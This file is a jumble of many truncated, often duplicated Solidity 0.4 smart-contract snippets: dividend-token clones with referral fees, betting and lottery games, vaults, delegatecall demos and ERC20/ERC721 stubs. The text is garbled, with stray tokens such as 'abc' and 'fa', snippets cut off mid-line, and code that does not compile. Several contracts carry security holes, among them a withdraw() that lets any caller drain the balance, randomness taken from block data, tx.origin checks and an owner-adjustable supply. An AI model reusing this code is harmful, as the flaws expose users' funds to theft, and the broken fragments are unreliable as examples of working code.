    //modifier require only the bettor have the right to call this function 
    
    modifier onlyBettor() {
        
        require(msg.sender == bettorA

pragma solidity ^0.4.25;

/*
* https://smartwager.(something)
*
* Smart Wager Token concept
*
* [✓] 8% Withdraw fee
* [✓] 15% Deposit fee
* [✓] 0% Token transfer
* [✓] Multi-level Refferal System - 10% from total purchase
*  *  [✓]  1st level 50% Refferal (5% from total purchase)
*  *  [✓]  2nd level 30% Refferal (3% from total purchase)
*  *  [✓]  3rd level 20% Refferal (2% from total purchase)
*/

contract SmartWagerToken {

    /*=================================
    =            MODIFIERS            =
    =================================*/

    modifier onlyBagholders {
        require(myTokens() > 0);
        _;
    }

    modifier onlyStronghands {
        require(myDividends(true) > 0);
        _;
    }

    /*==============================
    =            EVENTS            =
    ==============================*/

    event onTokenPurchase(
        address indexed customerAddress,
        uint256 incomingEthereum,
        uint256 tokensMinted,
        address indexed referredBy,
        

contract D {
  uint public n;
  address public sender;

  function callSetN(address _e, uint _n) {
    _e.call(bytes4(sha3("setN(uint256)")), _n); // E's storage is set, D is not modified 
  }

  function callcodeSetN(address _e, uint _n) {
    _e.callcode(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified 
  }

  function delegatecallSetN(address _e, uint _n) {
    _e.delegatecall(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified 
  }
}

contract E {
  uint public n;
  address public sender;

  function setN(uint _n) {
    n = _n;
    sender = msg.sender;
    // msg.sender is D if invoked by D's callcodeSetN. None of E's storage is updated
    // msg.sender is C if invoked by C.foo(). None of E's storage is updated

    // the value of "this" is D, when invoked by either D's callcodeSetN or C.foo()
  }
}

contract C {
    function foo(D _d, E _e, uint _n) {
        _d.delegatecallSetN(_e, _n);
    }
}

contract D {
  uint public n;
  address public sender;

  function delegatecallSetN(address _e, uint _n) {
    _e.delegatecall(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified 
  }

}

contract E {

  uint public n;
  address public sender;

  function setN(uint _n) {
    n = _n;
    sender = msg.sender;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract A {
  Calculations public stateVar;

  struct Calculations {
    uint a;
    uint b;
    uint c;
    uint d;
    uint e;
  }

  function doThing() public returns (uint) {
    stateVar = Calculations(1,2,3,4,5);  
    return;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract SimpleStore1 {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.24;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Bulletin is Ownable{
    bool public member;
    bytes32[] public messages;

    modifier isMember() {
        assert(member);
        _; 
    }
    
    // To join the bulletin, you have to submit A LOT of sample content
    function join_bulletin(bytes32[] _samples) public {
        assert(_samples.length > 2*200);
        member = true;
    }

    // Adds a new message to the bulletin
    function post(bytes32 _content) isMember public {
        messages.push(_content);
    }

    // Removes the latest message to the bulletin
    function pop() isMember public {
        messages.length--;
    }

    function edit(uint i, bytes32 val) isMember public {
        messages[i] = val;
    }

pragma solidity ^0.4.24;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Bulletin is Ownable{
    bool public member;
    bytes32[] public messages;

    constructor() public {
        _owner = msg.sender;
    }

    modifier isMember() {
        assert(member);
        _; 
    }
    
    // To join the bulletin, you have to submit A LOT of sample content
    function join_bulletin(bytes32[] _samples) public {
        assert(_samples.length > 2*200);
        member = true;
    }

    // Adds a new message to the bulletin
    function post(bytes32 _content) isMember public {
        messages.push(_content);
    }

    // Removes the latest message to the bulletin
    function pop() isMember public {
        messages.length--;
    }

    function edit(uint i, bytes32 val) isMember public {
        messages[i] = val;
    }

pragma solidity ^0.4.24;
/**
 * @title -FoMo-3D v0.7.1
 * ┌┬┐┌─┐┌─┐┌┬┐   ╦╦ ╦╔═╗╔╦╗  ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐
 *  │ ├┤ ├─┤│││   ║║ ║╚═╗ ║   ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐
 *  ┴ └─┘┴ ┴┴ ┴  ╚╝╚═╝╚═╝ ╩   ┴  ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘
 *                                  _____                      _____
 *                                 (, /     /)       /) /)    (, /      /)          /)
 *          ┌─┐                      /   _ (/_      // //       /  _   // _   __  _(/
 *          ├─┤                  ___/___(/_/(__(_/_(/_(/_   ___/__/_)_(/_(_(_/ (_(_(_
 *          ┴ ┴                /   /          .-/ _____   (__ /
 *                            (__ /          (_/ (, /                                      /)™
 *                                                 /  __  __ __

pragma solidity ^0.4.17;

contract CommunityChest {
    function withdraw() public {
        msg.sender.transfer(this.balance);
    }

    function deposit(uint256 amount) payable public {
        require(msg.value == amount);
        // nothing else to do!
    }
abc
    function getBalance() public view returns (uint256) {
        return this.balance;
    } 

pragma solidity ^0.4.17;

contract CommunityChest {
    function withdraw() public {
        msg.sender.transfer(this.balance);
    }

    function deposit(uint256 amount) payable public {
        require(msg.value == amount);
        // nothing else to do!
    }
abc
    function getBalance() public view returns (uint256) {
        return this.balance;
    } 

pragma solidity ^0.4.17;

contract CommunityChest {
    function withdraw() public {
        msg.sender.transfer(this.balance);
    }

    function deposit(uint256 amount) payable public {
        require(msg.value == amount);
        // nothing else to do!
    }

    function getBalance() public view returns (uint256) {
        return this.balance;
    } 

pragma solidity ^0.4.17;

contract CommunityChest {
    function withdraw() public {
        msg.sender.transfer(this.balance);
    }

    function deposit(uint256 amount) payable public {
        require(msg.value == amount);
        // nothing else to do!
    }

    function getBalance() public view returns (uint256) {
        return this.balance;
    } 

//@dev reduce gas costs on takeLoan()

/*
___  ___                _       _____             _           ______ ___________ 
|  \/  |               (_)     |_   _|           | |          | ___ \____ |  _  \
| .  . | __ _ _ __ __ _ _ _ __   | |_ __ __ _  __| | ___ _ __ | |_/ /   / / | | |
| |\/| |/ _` | '__/ _` | | '_ \  | | '__/ _` |/ _` |/ _ \ '__||  __/    \ \ | | |
| |  | | (_| | | | (_| | | | | | | | | | (_| | (_| |  __/ |   | |   .___/ / |/ / 
\_|  |_/\__,_|_|  \__, |_|_| |_| \_/_|  \__,_|\__,_|\___|_|   \_|   \____/|___/  
                   __/ |                                                            
                  |___/     

 _____________________
|  _________________  |
| |              /  | |
| |       /\    /   | |
| |  /\  /  \  /    | |
| | /  \/    \/     | |
| |/            P3D | |
| |_________________| |
|  __ __ __ __ __ __  |
| |__|__|__|__|__|__| |
| |__|__|__|__|__|__| |
| |__|__|__|__|__|__| |
| |__|__|__|__|__|__| |
| |__|__|__|__|__|__| |
| |__|__|__|__|__|__| |
|  ___ ___ ___  

//@dev reduce gas costs on takeLoan()

/*
___  ___                _       _____             _           ______ ___________ 
|  \/  |               (_)     |_   _|           | |          | ___ \____ |  _  \
| .  . | __ _ _ __ __ _ _ _ __   | |_ __ __ _  __| | ___ _ __ | |_/ /   / / | | |
| |\/| |/ _` | '__/ _` | | '_ \  | | '__/ _` |/ _` |/ _ \ '__||  __/    \ \ | | |
| |  | | (_| | | | (_| | | | | | | | | | (_| | (_| |  __/ |   | |   .___/ / |/ / 
\_|  |_/\__,_|_|  \__, |_|_| |_| \_/_|  \__,_|\__,_|\___|_|   \_|   \____/|___/  
                   __/ |                                                            
                  |___/     

 _____________________
|  _________________  |
| |              /  | |
| |       /\    /   | |
| |  /\  /  \  /    | |
| | /  \/    \/     | |
| |/            P3D | |
| |_________________| |
|  __ __ __ __ __ __  |
| |__|__|__|__|__|__| |
| |__|__|__|__|__|__| |
| |__|__|__|__|__|__| |
| |__|__|__|__|__|__| |
| |__|__|__|__|__|__| |
| |__|__|__|__|__|__| |
|  ___ ___ ___  

pragma solidity 0.4.24;

contract Ownable {

    address public owner;

    constructor() public {
        owner = msg.sender;
    }

    function setOwner(address _owner) public onlyOwner {
        owner = _owner;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

}

contract Vault is Ownable { 

    function () public payable {

    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }

    function withdraw(uint amount) public onlyOwner {
        require(address(this).balance >= amount);
        owner.transfer(amount);
    }

    function withdrawAll() public onlyOwner {
        withdraw(address(this).balance);
    }
}


contract CappedVault is Vault { 

    uint public limit;
    uint withdrawn = 0;

    constructor() public {
        limit = 33333 ether;
    }

    function () public payable {
        require(total() + msg.value <= limit);
    }

    function total() public view returns(uint) {
        return getBalance(

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract FourOutOfFive {

  struct GameData {
    uint8 numberOfRounds;
    address prevUserAddress;
    bool isPrevUserTicketGold;
  }

  address private _owner;

  mapping (uint256 => bool) availableBets; // [100wei => true, 200wei => true ...]
  mapping (uint256 => uint256) regularBetToGold; // [100wei => 110wei, 200wei => 220wei ...]
  mapping (uint256 => uint256) goldBetToRegular; // [110wei => 100wei, 220wei => 200wei ...]

  mapping (uint256 => GameData) games;

  uint256[] availableBetsArray;

  constructor() public {
    _owner = msg.sender;
  }

  modifier onlyOwner() {
    require(_owner == msg.sender);
    _;
  }

  // Add new available bet size (game settings, only owner)
  function addBetSize(uint256 betSize) public onlyOwner  {
    availableBets[betSize] = true;
    regularBetToGold[betSize] = betSize * 110 / 100;
    goldBetToRegular[(betSize * 110 / 100)] = betSize;
    availableBe

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract FourOutOfFive {

  struct GameData {
    uint8 numberOfRounds;
    address prevUserAddress;
    bool isPrevUserTicketGold;
  }

  address private _owner;

  mapping (uint256 => bool) availableBets; // [100wei => true, 200wei => true ...]
  mapping (uint256 => uint256) regularBetToGold; // [100wei => 110wei, 200wei => 220wei ...]
  mapping (uint256 => uint256) goldBetToRegular; // [110wei => 100wei, 220wei => 200wei ...]

  mapping (uint256 => GameData) games;

  uint256[] availableBetsArray;

  constructor() public {
    _owner = msg.sender;
  }

  modifier onlyOwner() {
    require(_owner == msg.sender);
    _;
  }

  // Add new available bet size (game settings, only owner)
  function addBetSize(uint256 betSize) public onlyOwner  {
    availableBets[betSize] = true;
    regularBetToGold[betSize] = betSize * 110 / 100;
    goldBetToRegular[(betSize * 110 / 100)] = betSize;
    availableBe

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract FourOutOfFive {

  struct GameData {
    uint8 numberOfRounds;
    address prevUserAddress;
    bool isPrevUserTicketGold;
  }

  address private _owner;

  mapping (uint256 => bool) availableBets; // [100wei => true, 200wei => true ...]
  mapping (uint256 => uint256) regularBetToGold; // [100wei => 110wei, 200wei => 220wei ...]
  mapping (uint256 => uint256) goldBetToRegular; // [110wei => 100wei, 220wei => 200wei ...]

  mapping (uint256 => GameData) games;

  uint256[] availableBetsArray;

  constructor() public {
    _owner = msg.sender;
  }

  modifier onlyOwner() {
    require(_owner == msg.sender);
    _;
  }

  // Add new available bet size (game settings, only owner)
  function addBetSize(uint256 betSize) public onlyOwner  {
    availableBets[betSize] = true;
    regularBetToGold[betSize] = betSize * 110 / 100;
    goldBetToRegular[(betSize * 110 / 100)] = betSize;
    availableBe

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract FourOutOfFive {

  struct GameData {
    uint8 numberOfGames;
    address prevUserAddress;
    bool prevUserBetType; // regular or guarantee non loose
  }

  address private _owner;
  mapping (uint256 => bool) availableBets;
  mapping (uint256 => GameData) games;

  uint256[] availableBetsArray;

  constructor() public {
    _owner = msg.sender;
  }

  modifier onlyOwner() {
    require(_owner == msg.sender);
    _;
  }

  // Add new available bet size (game settings, only owner)
  function addBetSize(uint256 betSize) public onlyOwner  {
    availableBets[betSize] = true;
    availableBetsArray.push(betSize);
  }

  // Don't have way to remove bet size. That's good.

  // Get available bet sizes
  function getAvailableBetSizes() view public returns (uint256[])  {
    return availableBetsArray;
  }

  // Buy ticket
  function buyRegularTicket() public payable {
    require(availableBets[msg

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract FourOutOfFive {
  
  address private _owner;
  mapping (uint256 => string) availableBets; 

  constructor() public {
    _owner = msg.sender;
  }

  modifier onlyOwner() {
    require(_owner == msg.sender);
    _;
  }

  // Add New Bet Size. Allow games with different bet sizes at the same time 
  function addBetSize(uint256 betSize) public onlyOwner  {
    availableBets[betSize] = "available";
  }

  function removeBetSize(uint256 betSize) public onlyOwner  {
    delete availableBets[betSize];
  }
  

  /*
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  */

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract FourOutOfFive {
  
  address private _owner;
  mapping (uint256 => string) availableBets; 

  constructor() public {
    _owner = msg.sender;
  }

  modifier onlyOwner() {
    require(_owner == msg.sender);
    _;
  }

  // Add New Bet Size. Allow games with different bet sizes at the same time 
  function addBetSize(uint256 betSize) public onlyOwner  {
    availableBets[betSize] = "available";
  }

  function removeBetSize(uint256 betSize) public onlyOwner  {
    delete availableBets[betSize];
  }
  

  /*
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  */

pragma solidity ^0.4.22;

contract SimpleAuction {
    // Parameters of the auction. Times are either
    // absolute unix timestamps (seconds since 1970-01-01)
    // or time periods in seconds.
    address public beneficiary;
    uint public auctionEnd;

    // Current state of the auction.
    address public highestBidder;
    uint public highestBid;

    // Allowed withdrawals of previous bids
    mapping(address => uint) pendingReturns;

    // Set to true at the end, disallows any change
    bool ended;

    // Events that will be fired on changes.
    event HighestBidIncreased(address bidder, uint amount);
    event AuctionEnded(address winner, uint amount);

    // The following is a so-called natspec comment,
    // recognizable by the three slashes.
    // It will be shown when the user is asked to
    // confirm a transaction.

    /// Create a simple auction with `_biddingTime`
    /// seconds bidding time on behalf of the
    /// beneficiary address `_beneficiary`.
    constructor(
        uint _

pragma solidity ^0.4.25;

contract SportBetting {
    
    //Variables
    
    address public manager;
    
    address [] public bettors;
    
    address public winner;
    
    //constructor of the contract - the msg.sender is the address of the contract creator - in this function the creater will be the manager
    constructor() public {
        manager = msg.sender;
    }
    
    
       //modifier require only the mmanager have the right to call this function
    modifier onlyManager() {
        
        require(msg.sender == manager);
        
        _;
    }
    
    
    //function requires the bettors sending money to the winning pool - in this function the msg.sender is the bettor address
    function enter() public payable {
        
        require(msg.value == 1 ether);fa
        
        bettors.push(msg.sender);
        
    }
   
    //Function to get the winner name
    function random() private view returns (uint) {
        
        return uint(keccak256(abi.encodePacked(block.difficulty

pragma solidity ^0.4.25;

contract SportBetting {
    
    //Variables
    
    address public manager;
    
    address public bettorA;
    
    address public bettorB;
    
    address public winner;
    
    //constructor of the contract - the msg.sender is the address of the contract creator - in this function the creater will be the manager
    constructor() public {
        
        manager = msg.sender;
        
    }
    
           //modifier require only the mmanager have the right to call this function
    modifier onlyManager() {
        
        require(msg.sender == manager);
        
        _;
    }
        //modifier require only the bettor have the right to call this function 
    modifier onlyBettor() {
        
        require(msg.sender == bettorA | msg.sender == bettorB);
        
        _;
    }
    //Bettor join to A side and sending money to winning pool
    function enterA() public payable {
        
        bettorA.push(msg.sender);
        
    }
   //Bettor join to B side and sen

pragma solidity ^0.4.23;

contract MyLunch {
  struct food {
    uint voteCount;
    bytes32 name;
  }

  struct votingFoodListStruct {
    address owner;
    food[] foodList;
  }

  votingFoodListStruct public votingFoodList;

  constructor(bytes32[] foodNameList) public {
    votingFoodList.owner = msg.sender;
    for (uint index = 0; index < foodNameList.length; index++) {
      votingFoodList.foodList.push(food({
        name: foodNameList[index],
        voteCount: 0
      }));
    }
  }

  function getFoodListCount() public view returns (uint) {
    return votingFoodList.foodList.length;
  }

  function getFoodDetailByIndex(uint index) public view returns (bytes32 foodName, uint voteCount) {
    bytes32 name = votingFoodList.foodList[index].name;
    uint count = votingFoodList.foodList[index].voteCount;
    return (name,count);
  }

  function voteFoodByName(bytes32 foodName,uint point) public {
    for (uint i = 0; i < getFoodListCount(); i++ ) {
      (bytes32 name,uint count) = getFoodDetailByIndex(

//draft of p3d margin trading for long positions
//by nightman

//@dev can you save on gas by using existing contract data and pointing new at the address? 
//@dev think about possible attack vectors like people transferring tokens to the proxy contracts 

pragma solidity 0.4.25;


//P3D INTERFACE

contract HourglassInterface {
	function stakingRequirement() pure public returns(uint256) {}
	function buyPrice() pure public returns(uint256) {}
	function balanceOf(address) pure public returns(uint256) {} //address parameter is user
	function dividendsOf(address) pure public returns(uint256) {} //address parameter is user
	function calculateEthereumReceived(uint256) pure public returns(uint256) {} //uint parameter is tokens
	function buy(address) public payable returns(uint256) {} //address parameter is referral 
	function reinvest() pure public {}
	function withdraw() pure public {}
	function exit() pure public {}
}


//PRIMARY CONTRACT

contract MarginTradingP3D {

	using SafeMath for *;

	
	//STORAGE

	address

pragma solidity ^0.4.18;

contract Bank {
    
    event Now(uint256 a);
    
    function foo(uint256 a) public returns (uint256) {
        Now(a);
        return a;
    }
    
    function record(bytes script) public {
        address ct = this;
        bytes4 sig = this.foo.selector;
        uint256 flag = uint256At(script, 0);
        uint256 location = 0x20;

        while (location < script.length) {
            uint256 id = uint256At(script, location);
            assembly {
                let x := mload(0x40)
                mstore(x, sig)          
                mstore(add(x, 0x04), id) 
                switch call(sub(gas, 5000), ct, 0, x, 0x24, 0, 0)
                case 0 {
                    revert(0, 0)
                }
            }
            location += 0x20;
        }
    }
    
    function uint256At(bytes data, uint256 location) pure internal returns (uint256 result) {
        assembly {
            result := mload(add(data, add(0x20, location)))
        }
    }
    
}

//draft of p3d margin trading for long positions
//by nightman

//@dev can you save on gas by using exisiting contract data and pointing new at the address? 
//@dev think about possible attack vectors like people transfering tokens to the proxy contracts 

pragma solidity 0.4.25;


//P3D INTERFACE

contract HourglassInterface {
	function balanceOf(address) pure public returns(uint256) {} //address parameter is user
	function dividendsOf(address) pure public returns(uint256) {} //address parameter is user
	function calculateEthereumReceived(uint256) pure public returns(uint256) {} //uint parameter is tokens
	function buy(address) public payable returns(uint256) {} //address parameter is referral 
	function reinvest() pure public {}
	function withdraw() pure public {}
	function exit() pure public {}
}


//PRIMARY CONTRACT

contract MarginTradingP3D {

	using SafeMath for *;

	
	//STORAGE

	address public admin;
	uint256 public adminBalance;

	address public p3d = 0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe;
	uin

pragma solidity ^0.4.10;

library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

interface ERC20 {
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  function allowance(address owner, address spender) public view returns (uint256);
  function transferFrom(address from, address t

pragma solidity ^0.4.24;

contract A {

	// bytes32 hash signed by the event owner or primary
	bytes hash1 = hex"5569044719a1ec3b04d0afa9e7a5310c7c0473331d13dc9fafe143b2c4e8148a";
	bytes hash2 = hex"771f84733c67f7f843d0ec2564a32a39f757f974e0fff5f64413a1422d525342";
	
	// packed bytes
	bytes public packed = abi.encodePacked(hash1, hash2);

	// hashed packed bytes
	bytes32 public result = keccak256(packed);

	// expected result = 0x1588ecd2699155465371480db07fbf82792736fdd35ee362c974e62d3812992d

}

pragma solidity ^0.4.23;

contract ActivityReport {
    address public owner;
    uint public counter = 0;

    constructor() public {
        owner = msg.sender;
    }

    struct ActivityReportContract {
        address sender;
        address client;
        bool reportSigned;
    }

    mapping (uint => ActivityReportContract ) activityStruct;

    function createActivityReport(address client) external {
        counter++;
        activityStruct[counter] = ActivityReportContract(msg.sender, client, false);
    }

    function signActivityReport(uint reportId) external {
        require(msg.sender == activityStruct[reportId].client);
        activityStruct[reportId].reportSigned = true;
    }
}

pragma solidity ^0.4.23;

contract ActivityReport {
    address public owner;
    uint public counter = 0;

    constructor() public {
        owner = msg.sender;
    }

    struct ActivityReportContract {
        address sender;
        address client;
        bool reportSigned;
    }

    mapping (uint => ActivityReportContract ) activityStruct;

    function createActivityReport(address client) external {
        counter++;
        activityStruct[newId] = ActivityReportContract(msg.sender, client, calendarHash, 0, false);
    }

    function signActivityReport(uint reportId) external {
        require(msg.sender == activityStruct[reportId].client);
        activityStruct[reportId].reportSigned = true;
    }
}

pragma solidity ^0.4.25;

contract SportBetting {
    
    //Variables
    
    address public manager;
    
    address [] public bettors;
    
    address public winner;
    
    //constructor of the contract - the msg.sender is the address of the contract creator - in this function the creater will be the manager
    constructor() public {
        manager = msg.sender;
    }
    
    
       //modifier require only the mmanager have the right to call this function
    modifier onlyManager() {
        
        require(msg.sender == manager);
        
        _;
    }
    
    
    //function requires the bettors sending money to the winning pool - in this function the msg.sender is the bettor address
    function enter() public payable {
        
        require(msg.value == 1 ether);
        
        bettors.push(msg.sender);
        
    }
   
    //Function to get the winner name
    function random() private view returns (uint) {
        
        return uint(keccak256(abi.encodePacked(block.difficulty, 

function _createSale(
    uint256 _nftId,
    address _seller, 
    uint256 _value
) internal {
    require(
		nft.getApproved(_nftId) == address(this),
		"The market is not currently an operator for this NFT"
	);
    MarketLib.Sale memory sale = MarketLib.Sale(
      _nftId,
      _seller,
      _value,
      uint64(block.timestamp)
    );
    _addSale(_nftId, sale);

////////////////////////
//ONE HUNDREDTH MONKEY//
////////////////////////

pragma solidity ^0.4.25;

library SafeMath {

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "the SafeMath multiplication check failed");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		require(b > 0, "the SafeMath division check failed");
		uint256 c = a / b;
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		require(b <= a, "the SafeMath subtraction check failed");
		return a - b;
	}

	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "the SafeMath addition check failed");
		return c;
	}

	function mod(uint256 a, uint256 b) internal pure returns (uint256) {
		require(b != 0, "the SafeMath modulo check failed");
		return a % b;
	}
}

contract OneHundredthMonkey {

	using SafeMath for uint256;

	/////////

pragma solidity ^0.4.20;

contract BlackPearlETC {


    /*=================================
    =            MODIFIERS            =
    =================================*/

    /// @dev Only people with tokens
    modifier onlyBagholders {
        require(myTokens() > 0);
        _;
    }

    /// @dev Only people with profits
    modifier onlyStronghands {
        require(myDividends(true) > 0);
        _;
    }


    /*==============================
    =            EVENTS            =
    ==============================*/

    event onTokenPurchase(
        address indexed customerAddress,
        uint256 incomingEthereum,
        uint256 tokensMinted,
        address indexed referredBy,
        uint timestamp,
        uint256 price
    );

    event onTokenSell(
        address indexed customerAddress,
        uint256 tokensBurned,
        uint256 ethereumEarned,
        uint timestamp,
        uint256 price
    );

    event onReinvestment(
        address indexed customerAddress,
        uint256 ethereu

pragma solidity ^0.4.20;

contract BlackPearlETC {


    /*=================================
    =            MODIFIERS            =
    =================================*/

    /// @dev Only people with tokens
    modifier onlyBagholders {
        require(myTokens() > 0);
        _;
    }

    /// @dev Only people with profits
    modifier onlyStronghands {
        require(myDividends(true) > 0);
        _;
    }


    /*==============================
    =            EVENTS            =
    ==============================*/

    event onTokenPurchase(
        address indexed customerAddress,
        uint256 incomingEthereum,
        uint256 tokensMinted,
        address indexed referredBy,
        uint timestamp,
        uint256 price
    );

    event onTokenSell(
        address indexed customerAddress,
        uint256 tokensBurned,
        uint256 ethereumEarned,
        uint timestamp,
        uint256 price
    );

    event onReinvestment(
        address indexed customerAddress,
        uint256 ethereu

//Объявляем версию солидити
pragma solidity ^0.4.11;

//Инициализация контракта
contract MyFirstERC20Coin {

    //Объявляем переменную в которой будет название токена
    string public name;

    //Объявляем переменную в которой будет символ токена
    string public symbol;

    //Объявляем переменную в которой будет число нулей токена
    uint8 public decimals;


    //Объявляем переменную в которой будет общее число токенов
    uint256 public totalSupply;

    //Объявляем маппинг для хранения балансов пользователей
    mapping (address => uint256) public balanceOf;

    //Объявляем маппинг для хранения одобренных транзакций
    mapping (address => mapping(address => uint256)) public al

//Объявляем версию солидити
pragma solidity ^0.4.11;

//Инициализация контракта
contract MyFirstERC20Coin {

    //Объявляем переменную в которой будет название токена
    string public name;

    //Объявляем переменную в которой будет символ токена
    string public symbol;

    //Объявляем переменную в которой будет число нулей токена
    uint8 public decimals;


    //Объявляем переменную в которой будет общее число токенов
    uint256 public totalSupply;

    //Объявляем маппинг для хранения балансов пользователей
    mapping (address => uint256) public balanceOf;

    //Объявляем маппинг для хранения одобренных транзакций
    mapping (address => mapping(address => uint256)) public al

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract A {
  function getA() public pure returns (string) {
    return "A";
  }
}

contract B is A {
  function getA() public pure returns (string) {
    return "B";
  }
}

contract C is A {
  function getA() public pure returns (string) {
    return "C";
  }
}

contract D is B, C {

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract A {
  function getA() public pure returns (string) {
    return "A";
  }
}

contract B is A {
  function getB() public pure returns (string) {
    return "B";
  }
}

contract C is A {
  function getC() public pure returns (string) {
    return "A";
  }
}

contract D is B, C {
  function getD() public pure returns (string) {
    return "D";
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.25;

// Standard ERC721 functions import
contract ERC721 {
  // Required methods
  function approve(address _to, uint256 _tokenId) public;
  function balanceOf(address _owner) public view returns (uint256 balance);
  function implementsERC721() public pure returns (bool);
  function ownerOf(uint256 _tokenId) public view returns (address addr);
  function takeOwnership(uint256 _tokenId) public;
  function totalSupply() public view returns (uint256 total);
  function transferFrom(address _from, address _to, uint256 _tokenId) public;
  function transfer(address _to, uint256 _tokenId) public;

  event Transfer(address indexed from, address indexed to, uint256 tokenId);
  event Approval(address indexed owner, address indexed approved, uint256 tokenId);

}

contract PalettenToken is ERC721 {
    
  /**************************************/
  /****************** EVENTS ************/
  /*************************************/

  ///@dev New User has been registered
  event NewPaletteHasBeenRequiste

pragma solidity ^0.4.24;


library SafeMath {
    function add(uint a, uint b) internal pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }
    function sub(uint a, uint b) internal pure returns (uint c) {
        require(b <= a);
        c = a - b;
    }
    function mul(uint a, uint b) internal pure returns (uint c) {
        c = a * b;
        require(a == 0 || c / a == b);
    }
    function div(uint a, uint b) internal pure returns (uint c) {
        require(b > 0);
        c = a / b;
    }
}

contract ERC20Interface {
    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint tokens) pub

pragma solidity ^0.4.25;

  contract Boomerang {
      
    ///////////
    //STORAGE//
    ///////////

    address public admin;
    uint256 public contestCount;

    bool internal processingStarted;
    uint256 internal salt;
    uint256 internal processingBegunAtBlock;
    uint256 internal RNGblockDelay = 1;
    bytes32 internal seedA;
    bytes32 internal seedB;

    mapping(uint256 => bool) public prizeAwarded;
    mapping(uint256 => bool) public contestStarted;
    mapping(uint256 => address) public volumeWinner;
    mapping(uint256 => address) public randomWinner;
    mapping(uint256 => uint256) public winningIndex;
    mapping(uint256 => uint256) public prizePool;
    mapping(uint256 => uint256) public highest;
    mapping(uint256 => uint256) public contestClose; 
    mapping(uint256 => uint256) public totalBounceVolume;    
    mapping(uint256 => address[]) public players;
    mapping(uint256 => mapping(address => uint256)) public playerTotal;
    mapping(uint256 => mapping(address => bool)) public 

pragma solidity ^0.4.25;

  //@dev update web3 to deal with mappings

  contract Boomerang {
      
    ///////////
    //STORAGE//
    ///////////

    address public admin;
    uint256 public contestCount;

    mapping(uint256 => bool) public prizeAwarded;
    mapping(uint256 => bool) public contestStarted;
    mapping(uint256 => address) public winner;
    mapping(uint256 => uint256) public prize;
    mapping(uint256 => uint256) public highest;
    mapping(uint256 => uint256) public contestClose; 
    mapping(uint256 => uint256) public totalBounceVolume;
    mapping(uint256 => mapping(address => uint256)) public playerTotal;
    mapping(uint256 => mapping(address => bool)) public playerExists;

    ///////////////
    //CONSTRUCTOR//
    ///////////////
    
    constructor() public {
      admin = msg.sender;
    }

    /////////////
    //MODIFIERS//
    /////////////

    modifier notContract() { 
      require(msg.sender == tx.origin, "no contracts allowed"); 
      _; 
    }

    modifier onlyAdmin() 

function changeSupply(uint newSupply) public onlyOwner {
    totalSupply_ = newSupply;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  struct MyStruct {
    uint256 field1;
    uint256 field2;
    uint256 field3;
    uint256 field4;
    uint256 field5;
    uint256 field6;
    uint256 field7;
    uint256 field8;
    uint256 field9;
    uint256 field10;
    uint256 field11;
    uint256 field12;
